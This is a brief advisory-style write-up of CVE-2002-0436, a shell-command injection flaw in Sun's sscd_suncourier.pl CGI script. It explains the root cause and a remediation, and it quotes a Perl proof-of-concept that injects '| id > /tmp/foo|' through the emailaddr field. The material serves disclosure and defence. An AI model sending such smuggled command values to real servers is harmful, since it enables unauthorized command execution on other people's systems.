CVE-2002-0436

A remote attacker can send a crafted POST request to the `sscd_suncourier.pl` CGI script. By including shell metacharacters, such as the pipe symbol (|), within the `emailaddr` parameter, the attacker can inject and execute arbitrary commands on the server with the privileges of the script. The provided exploit demonstrates using `| id > /tmp/foo|` to execute the `id` command [ref_id=1].

The vulnerability exists within the `sscd_suncourier.pl` CGI script, which is part of the Sun Sunsolve CD pack. The script fails to properly sanitize input provided in the `emailaddr` parameter, allowing for the injection of shell metacharacters [ref_id=1].

The patch is not available in the provided bundle. The advisory indicates that the CGI script does not adequately sanitize input, specifically mentioning the failure to remove special characters like the pipe (|) character [ref_id=1]. Remediation would involve properly sanitizing or escaping shell metacharacters in the `emailaddr` parameter before it is processed by the script.

```perl #!/usr/bin/perl use LWP::UserAgent; use HTTP::Request::Common qw(POST); ua = new LWP::UserAgent; $ua->agent("Scrapers"); my $req = POST 'http://sunsolveCD.box.com:8383/cd-cgi/sscd_suncourier.pl', [ step => "submit" , emailaddr => "foo\@bar.com| id > /tmp/foo|"]; $res = $ua->request($req); print $res->as_string; print "code", $res->code, "\n"; ```